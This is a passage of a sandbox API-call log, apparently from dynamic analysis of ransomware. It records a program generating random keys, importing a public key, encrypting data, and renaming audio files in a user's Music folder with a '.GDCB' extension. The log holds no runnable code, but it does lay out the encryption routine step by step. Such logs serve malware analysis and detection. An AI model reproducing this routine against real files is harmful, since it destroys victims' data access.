phProv=0x285f08c*=0x2ed300) returned 1 [0140.217] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359598) returned 1 [0140.217] CryptGetKeyParam (in: hKey=0x359598, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.217] CryptEncrypt (in: hKey=0x359598, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.217] GetLastError () returned 0x0 [0140.217] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0140.217] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\e8jkSa\\Ymssxu72LfvGM.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\e8jksa\\ymssxu72lfvgm.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.217] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.217] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.218] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x790b, lpOverlapped=0x0) returned 1 [0140.253] VirtualAlloc (lpAddress=0x0, dwSize=0x7910, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.281] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\e8jkSa\\Ymssxu72LfvGM.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\e8jksa\\ymssxu72lfvgm.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\e8jkSa\\Ymssxu72LfvGM.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\e8jksa\\ymssxu72lfvgm.wav.gdcb")) returned 1 [0140.282] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0140.286] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.286] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.286] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0140.286] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.286] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0140.289] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.289] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.289] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0140.289] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.289] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0140.296] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x359018) returned 1 [0140.297] CryptGetKeyParam (in: hKey=0x359018, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0140.297] CryptEncrypt (in: hKey=0x359018, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0140.297] GetLastError () returned 0x0 [0140.297] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0140.297] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0140.306] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x359058) returned 1 [0140.306] CryptGetKeyParam (in: hKey=0x359058, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0140.306] CryptEncrypt (in: hKey=0x359058, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0140.306] GetLastError () returned 0x0 [0140.306] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0140.306] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HijnMp4jD.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hijnmp4jd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0140.306] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.306] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.307] ReadFile (in: hFile=0x4e8, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f4d0*=0xaa2a, lpOverlapped=0x0) returned 1 [0140.316] VirtualAlloc (lpAddress=0x0, dwSize=0xaa30, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.321] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HijnMp4jD.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hijnmp4jd.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HijnMp4jD.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hijnmp4jd.wav.gdcb")) returned 1 [0140.322] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed300) returned 1 [0140.324] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.324] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.324] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0140.324] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0140.324] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0140.327] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.327] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.327] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0140.327] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.327] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed0e0) returned 1 [0140.340] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x359358) returned 1 [0140.340] CryptGetKeyParam (in: hKey=0x359358, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0140.340] CryptEncrypt (in: hKey=0x359358, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0140.341] GetLastError () returned 0x0 [0140.341] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0140.341] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0140.348] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x359098) returned 1 [0140.348] CryptGetKeyParam (in: hKey=0x359098, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0140.348] CryptEncrypt (in: hKey=0x359098, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0140.348] GetLastError () returned 0x0 [0140.348] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.348] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\OGnlmvN61P.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ognlmvn61p.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0140.349] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.349] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.349] ReadFile (in: hFile=0x4e8, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f4d0*=0x1866b, lpOverlapped=0x0) returned 1 [0140.359] VirtualAlloc (lpAddress=0x0, dwSize=0x18670, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.366] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\OGnlmvN61P.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ognlmvn61p.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\OGnlmvN61P.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ognlmvn61p.mp3.gdcb")) returned 1 [0140.367] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecca0) returned 1 [0140.370] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.370] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.370] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0140.370] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0140.370] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0140.372] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.372] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.372] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0140.372] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.372] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed0e0) returned 1 [0140.381] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x3590d8) returned 1 [0140.381] CryptGetKeyParam (in: hKey=0x3590d8, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0140.381] CryptEncrypt (in: hKey=0x3590d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0140.381] GetLastError () returned 0x0 [0140.381] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0140.381] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0140.389] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x359158) returned 1 [0140.389] CryptGetKeyParam (in: hKey=0x359158, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0140.389] CryptEncrypt (in: hKey=0x359158, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0140.389] GetLastError () returned 0x0 [0140.389] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.389] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Q2-4.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\q2-4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0140.389] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.389] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.390] ReadFile (in: hFile=0x4e8, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f4d0*=0xccb6, lpOverlapped=0x0) returned 1 [0140.399] VirtualAlloc (lpAddress=0x0, dwSize=0xccc0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.404] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Q2-4.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\q2-4.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Q2-4.m4a.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\q2-4.m4a.gdcb")) returned 1 [0140.404] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0140.404] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0140.404] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0140.404] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0140.408] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.410] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.411] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.411] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.411] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.411] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0140.413] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.413] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.413] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.413] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0140.413] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.420] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x3591d8) returned 1 [0140.420] CryptGetKeyParam (in: hKey=0x3591d8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.421] CryptEncrypt (in: hKey=0x3591d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.421] GetLastError () returned 0x0 [0140.421] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.421] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0140.428] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359218) returned 1 [0140.428] CryptGetKeyParam (in: hKey=0x359218, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.428] CryptEncrypt (in: hKey=0x359218, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.429] GetLastError () returned 0x0 [0140.429] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0140.429] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\RefPD1CxYRt5f\\7OmvA6Oj54HnGnXR.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\refpd1cxyrt5f\\7omva6oj54hngnxr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.429] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.429] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.429] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x16087, lpOverlapped=0x0) returned 1 [0140.438] VirtualAlloc (lpAddress=0x0, dwSize=0x16090, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.444] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\RefPD1CxYRt5f\\7OmvA6Oj54HnGnXR.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\refpd1cxyrt5f\\7omva6oj54hngnxr.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\RefPD1CxYRt5f\\7OmvA6Oj54HnGnXR.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\refpd1cxyrt5f\\7omva6oj54hngnxr.wav.gdcb")) returned 1 [0140.447] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0140.449] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.450] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.450] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.450] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0140.450] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecca0) returned 1 [0140.452] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.452] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.452] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.452] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0140.452] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0140.461] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359258) returned 1 [0140.462] CryptGetKeyParam (in: hKey=0x359258, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.462] CryptEncrypt (in: hKey=0x359258, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.462] GetLastError () returned 0x0 [0140.462] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0140.462] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0140.469] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359298) returned 1 [0140.469] CryptGetKeyParam (in: hKey=0x359298, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.469] CryptEncrypt (in: hKey=0x359298, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.470] GetLastError () returned 0x0 [0140.470] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0140.470] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\RefPD1CxYRt5f\\NlFstO.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\refpd1cxyrt5f\\nlfsto.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.470] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.470] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.470] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xb78f, lpOverlapped=0x0) returned 1 [0140.481] VirtualAlloc (lpAddress=0x0, dwSize=0xb790, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.486] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\RefPD1CxYRt5f\\NlFstO.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\refpd1cxyrt5f\\nlfsto.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\RefPD1CxYRt5f\\NlFstO.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\refpd1cxyrt5f\\nlfsto.mp3.gdcb")) returned 1 [0140.487] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0140.489] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.489] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.489] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.489] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0140.489] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.491] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.491] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.492] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.492] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.492] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0140.499] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359318) returned 1 [0140.499] CryptGetKeyParam (in: hKey=0x359318, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.499] CryptEncrypt (in: hKey=0x359318, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.499] GetLastError () returned 0x0 [0140.499] CryptReleaseContext (hProv=0x2ecfd0, 